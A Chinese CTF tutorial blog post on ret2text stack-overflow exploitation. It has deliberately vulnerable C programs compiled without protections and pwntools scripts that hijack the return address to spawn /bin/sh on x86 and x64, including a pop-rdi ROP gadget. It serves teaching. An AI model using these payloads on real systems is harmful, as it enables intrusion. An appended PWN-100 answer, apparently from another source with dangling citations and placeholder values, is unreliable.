pwn笔记 - ret2text - 函数传参(x86&x64)

注: ret2text即控制返回地址指向程序本身已有的的代码(.text)并执行。


例题1部署(无需函数传参情况)

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
	system(shell);
	return 0;
}

int dofunc(){
	char a[8]={};
	write(1,"inputs: ",7);
	read(0,a,0x100);
	return 0;
}
	
int main(){
	dofunc();
	return 0;
}

 生成64位可执行文件,-no-pie 去除地址随机化,-fno-stack-protector去除canary机制溢出保护。

gcc ret2text_func.c -no-pie -fno-stack-protector -o ret2text_func_x86_1

checksec检查一下,没有问题

看代码可以很容易发现,func函数中就有可以直接调用的system函数,且其参数shell = “/bin/sh”已经满足getshell需求。且未开启溢出保护,只需要利用read函数通过dofunc中的参数a溢出覆盖返回地址将其引导到func的地址即可。

利用ida简单查看一下偏移量为0x8+0x8 = 0x10。

 gdb查看func地址为0x401146

 书写payload并运行,很容易得到shell

from pwn import *
#配置信息
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')

#打开路径
io = process('./test')
#调试信息
#gdb.attach(io)
#pause()

#注入信息
payloadtext = 0x401146
padding = 0x10
payload = padding*b'a' + p64(payloadtext)
dem = b'inputs: \n'
io.sendlineafter(dem,payload)
io.interactive()

 例题2部署(函数传参)

多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起。代码如下

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char shell[] = "/bin/sh";
int func(char *cmd){
	system(cmd);//不同处
	return 0;
}

int dofunc(){
	char a[8]={};
	write(1,"inputs: ",7);
	read(0,a,0x100);
	return 0;
}
	
int main(){
	dofunc();
	return 0;
}

准备好x86和x64两种可执行文件

gcc -m32 ret2text_func2.c -no-pie -fno-stack-protector -o ret2text_func2_x86
gcc ret2text_func2.c -no-pie -fno-stack-protector -o ret2text_func2_x64 

函数调用约定

_cdecl:        c/c++默认方式,参数从右向左入栈,主调函数负责栈平衡。

_stdcall:        Windows API方式,参数从右向左入栈,被调函数负责栈平衡。

_fastcall:        快速调用方式。即将参数优先从寄存器传入(ecx和edx),剩下的参数从右向左入栈。由于栈位于内存区域,而寄存器位于cpu内,存取快于内存。

这里讲述默认的gcc调用约定_cdecl的一些特点。

 x86

  • 使用栈传递参数
  • 使用eax存放返回值

x64

  • 前六个参数依次存放于rdi,rsi,rdx,rcx,r8,r9中
  • 多余的参数存放于栈中

x86题解方法

对于函数传参的函数,其栈格式为

 故而我们需要利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。具体原因在文章末尾体现。

现在利用gdb查找func函数地址和sh存放地址(具体偏移量由ida查看不再详细讲解)

书写payload:

from pwn import *
#配置信息
context(log_level='debug',arch='i386',os='linux')
#context(arch='arm64',os='linux')

#打开路径
file = './ret2text_func2_x86'
io = process(file)
elf = ELF(file)
rop = ROP(file)
#调试信息
#gdb.attach(io)
#pause()

#注入信息
sh_addr = 0x804c018
#ret_addr = 0x8049186
ret_addr = elf.symbols['func']

padding = 0x14
payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()

 成功


x64

对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。

ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。

知道了ROP工具的功能,我们需要做的是

  1. 修改rdi的值(可使用代码pop rdi ; ret)
  2. 在栈中放入‘bin/sh’经由pop提交给rdi
  3. 进入func函数内调用system函数

利用gdb查找func函数地址和sh存放地址(具体偏移量由ida查看不再详细讲解):

 利用ROPgadget查找需要的代码行--pop rdi ; ret

ROPgadget --binary ret2text_func2_x64 --only 'pop|ret'

 构造payload:

from pwn import *
#配置信息
context(log_level='debug',arch='amd64',os='linux')
#context(arch='arm64',os='linux')

#打开路径
file = './ret2text_func2_x64'
io = process(file)
elf = ELF(file)
rop = ROP(file)
#调试信息
gdb.attach(io)
pause()

#注入信息
sh_addr = 0x404028
#ret_addr = 0x401146
ret_addr = elf.symbols['func']
pop_rdi_ret = 0x40121b

padding = 0x10
payload = padding*b'a' + p64(pop_rdi_ret) + p64(sh_addr)+ p64(ret_addr)
dem = b'inputs:'
io.sendlineafter(dem,payload)
io.interactive()

运行成功pwn掉 

 


x86题解补充疑问

对于本题的函数传参,我们的栈帧构造初步想法如图

ebp‘aaaa’
rreturn to func
参数一“/bin/sh”
  1. 输入适量垃圾填充 padding * b 'a'
  2. 覆盖返回地址指向func函数 p32(ret_addr)
  3. 参数"/bin/sh"地址

则payload =  padding*b'a' + p32(ret_addr)  + p32(sh_addr)

然而这样的脚本在攻击时会出错。原因在于:

正常的函数调用call来达到push eip;jmp的作用,经过初步payload构造的攻击如下图所示,是通过覆盖return达到jmp的作用的,并没有像call一样push eip到栈中。

 故而ret执行后,ebp后为我们输入的参数而非eip原地址(函数结束后返回的地址),而函数读取参数的位置在上文中已经展示,为 ebp+0x8。故而在利用ret2text覆盖pwn题时候,需要自行加入一行栈帧的填充。

 

### 关于攻防世界PWN-100题目的解答 #### 解决方案概述 对于攻防世界的PWN-100题目,通常涉及的是基础的缓冲区溢出攻击。这类题目旨在测试参赛者对Linux防护机制的理解程度以及绕过这些保护措施的能力。常见的技术包括但不限于返回导向编程(Return-Oriented Programming, ROP)、重定向到已知位置的shellcode执行(ret2shellcode)或是利用动态链接库中的函数实现系统命令调用(ret2libc)[^1]。 #### 技术细节 当面对没有启用地址空间布局随机化(ASLR)且未开启不可执行堆栈(NX bit off)的情况时,可以直接采用`ret2shellcode`的方式解决问题。此方法要求选手能够找到足够的空间放置自定义的shellcode,并通过控制EIP指向这段代码来完成最终的目标——通常是打开一个远程shell连接给攻击者[^3]。 如果遇到开启了NX位但是禁用了位置独立可执行文件(PIE),那么可以考虑使用`ret2libc`策略。这种方法依赖于将返回地址设置为标准C库(glibc)内的某个有用功能的位置,比如system()函数,从而间接地触发所需的恶意操作而无需注入新的机器码片段。 针对具体环境下的不同情况,还需要掌握诸如IDA Pro这样的反汇编工具来进行二进制分析工作;同时熟悉GDB调试技巧以便更好地理解程序内部逻辑并定位潜在的安全漏洞所在之处。 ```python from pwn import * # 连接到远程服务 conn = remote('challenge.ctf.games', PORT) # 发送payload前先接收初始消息 print(conn.recvline()) # 构造payload offset = 64 # 假设偏移量为64字节 junk = b'A' * offset return_address = pack('<I', 0xdeadbeef) # 替换为目标地址 exploit_payload = junk + return_address # 发送payload conn.send(exploit_payload) # 接收响应数据 result = conn.recvall() print(result.decode()) ```
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值